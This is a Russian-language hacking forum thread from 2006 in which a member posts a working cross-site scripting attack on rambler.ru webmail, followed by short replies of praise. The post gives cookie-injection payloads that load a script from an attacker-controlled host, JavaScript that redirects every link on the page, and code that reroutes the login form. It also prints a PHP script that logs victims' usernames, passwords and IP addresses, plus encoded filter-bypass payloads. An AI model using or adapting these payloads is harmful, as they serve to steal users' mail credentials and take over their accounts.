Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Реализация XSS на rambler.ru |

17.09.2006, 23:28
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме: 2263418
Репутация:
300
|
|
Реализация XSS на rambler.ru
Итак существует 2 веб-интерфейса этой почтовой службы - старый и новый
переключаются они между собой по ссылке
http://mail.rambler.ru/mail/settings.cgi?mode=usetest
(кстати именно со старого интерфейса можно отправлять письма в html формате )
I ) Введение: - Средствами javascritp Cookies не получить , так как они устанавливаются с флагом httponly , т е сессию пользователя нам не получить.
- На главной странице ( http://www.rambler.ru/ ) есть XSS уязвимость в переменной rlogin которая находиться в cookies.
С помощью XSS мы изменяем этот параметр, делается это так:
Код:
document.cookie='rlogin=adress_jertvi"><script/src="http://nash_site.ru/r.js"></script><e@rambler.ru; path=/; domain=.rambler.ru';
далее нам надо перекинуть пользователя на страницу http://www.rambler.ru/ , но так чтобы он ничегь не заподозрил, поэтому мы меняем все ссылки на странице - на http://www.rambler.ru/
Код:
for(i=0;i<100;i++){if(document.links[i]){document.links[i].href="http://rambler.ru/";}}
теперь щелкнув, например, на значок "Входящие" пользователь попадает на http://www.rambler.ru/ , со стороны это выглядит как потеря сессии - что бывает
- В скрипте r.js
пишем :
Код:
document.forms[1].action="http://nash_site/r.php";
атрибут action формы куда пользователь вводит пароль меняеться на http://nash_site/r.php
- r.php - это нащ скрипт который записывает пароль и логин в файл и перенаправляет пользователя к нему в ящик
r.php :
PHP код:
<?php
$login = $_POST['login'];
$passw = $_POST['passw'];
$date = date("[D|d/m/Y|H:i]");
$fp=fopen("r.html","a");
fputs($fp,"
<br>Логин: $login
<br>Пароль: $passw
<br>Дата: $date
<br>IP: $REMOTE_ADDR
<br>USER_AGENT: $HTTP_USER_AGENT
");
fclose($fp);
header("Location: http://mail.rambler.ru/script/auth.cgi?domain=rambler.ru&login=$login&passw=$passw");
?>
II ) Реализация: - Старый интерфейс
там много XSS-уязвимостей, возьмем например
Код:
<table background='javascript:alert()'>
кодируем наш JS скрипт в ASCII
document.cookie='rlogin=serega104"><script/src="http://lamerdeath.h14.ru/r.js"></script><e@rambler.ru; path=/; domain=.rambler.ru';for(i=0;i<100;i++){if(document .links[i]){document.links[i].href="http://rambler.ru/";}}
Получаем:
Код:
<table background='javascript:document.cookie='rlogin=serega104"><script/src="http://lamerdeath.h14.ru/r.js"></script><e@rambler.ru; path=/; domain=.rambler.ru';for(i=0;i<100;i++){if(document.links[i]){document.links[i].href="http://rambler.ru/";}}'>
- Новый интерфейс
Тут прикручен новый фильтр
Смотрим как работает фильтр:
Отправляем код
<img g >
смотрим во что превратил фильтр наш код:
<img g="g">
Вот она и XSS :
<img alert();//onload src="http://ya.ru/logo.gif">
фильтр превращает это в :
<img alert();//onload="alert();//onload" src="http://images.rambler.ru/_.gif">
что благополучно обрабатывается IE
( в Opere и Firefox XSS работать не будет, так как эти браузеры не признают слеш за разделитель атрибутов )
так как & превращается в & и другие управляющие символы кодируются прежде чем попадают в значение обработчика событий onload , то кодируем наш скрипт так :
Код:
<img width=1 height=1 eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,114,108,111,103,105,110,61,115,101,114,101,103,97,49,48,52,34,62,60,115,99,114,105,112,116,47,115,114,99,61,34,104,116,116,112,58,47,47,108,97,109,101,114,100,101,97,116,104,46,104,49,52,46,114,117,47,114,46,106,115,34,62,60,47,115,99,114,105,112,116,62,60,101,64,114,97,109,98,108,101,114,46,114,117,59,32,112,97,116,104,61,47,59,32,100,111,109,97,105,110,61,46,114,97,109,98,108,101,114,46,114,117,39,59,102,111,114,40,105,61,48,59,105,60,49,48,48,59,105,43,43,41,123,105,102,40,100,111,99,117,109,101,110,116,46,108,105,110,107,115,91,105,93,41,123,100,111,99,117,109,101,110,116,46,108,105,110,107,115,91,105,93,46,104,114,101,102,61,34,104,116,116,112,58,47,47,114,97,109,98,108,101,114,46,114,117,47,34,59,125,125));//onload src="http://ya.ru/logo.gif">
__________________

md5( icq ) : fd7d5666e3329c168c41dc355c046d22
Последний раз редактировалось Constantine; 10.03.2007 в 16:27..
|
|
|

17.09.2006, 23:39
|
|
Постоянный
Регистрация: 27.07.2006
Сообщений: 405
Провел на форуме: 1377321
Репутация:
268
|
|
Статья хорошая 
Майор с твоими мозгами ты должен быть уже с репутацией гуру )))) лови +
|
|
|

18.09.2006, 00:51
|
|
Banned
Регистрация: 04.12.2005
Сообщений: 826
Провел на форуме: 5223479
Репутация:
3813
|
|
Жаль конечно что я с таким рвением искал в обоих движках активную хсс для закрытых разделов, а тут пришёл Майор и всё выложил... Понимаю, что скорее всего он даже не смотрел мои посты, но всёравно выходит обидно. Очень даже...
Последний раз редактировалось b00zy_c0d3r; 19.09.2006 в 21:41..
|
|
|

19.09.2006, 01:51
|
|
[ розовый мафиозо ]
Регистрация: 16.03.2005
Сообщений: 301
Провел на форуме: 1736355
Репутация:
241
|
|
Ну что я могу сказать дружище, ты как всегда на высоте!!
|
|
|

19.09.2006, 13:59
|
|
Познающий
Регистрация: 18.09.2006
Сообщений: 74
Провел на форуме: 447398
Репутация:
36
|
|
Респект
|
|
|

19.09.2006, 14:09
|
|
Участник форума
Регистрация: 13.06.2006
Сообщений: 215
Провел на форуме: 2364210
Репутация:
49
|
|
Здорово
|
|
|

19.09.2006, 15:36
|
|
Друг Клитора
Регистрация: 27.08.2005
Сообщений: 1,662
Провел на форуме: 6913553
Репутация:
1329
|
|
Респект + тебе... Красиво и понятно...
|
|
|

19.09.2006, 16:03
|
|
Banned
Регистрация: 29.04.2006
Сообщений: 452
Провел на форуме: 1031230
Репутация:
266
|
|
Отличная статья , респект
|
|
|

21.09.2006, 20:50
|
|
Познающий
Регистрация: 21.08.2006
Сообщений: 70
Провел на форуме: 424011
Репутация:
4
|
|
Респект. Хорошо объяснил
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|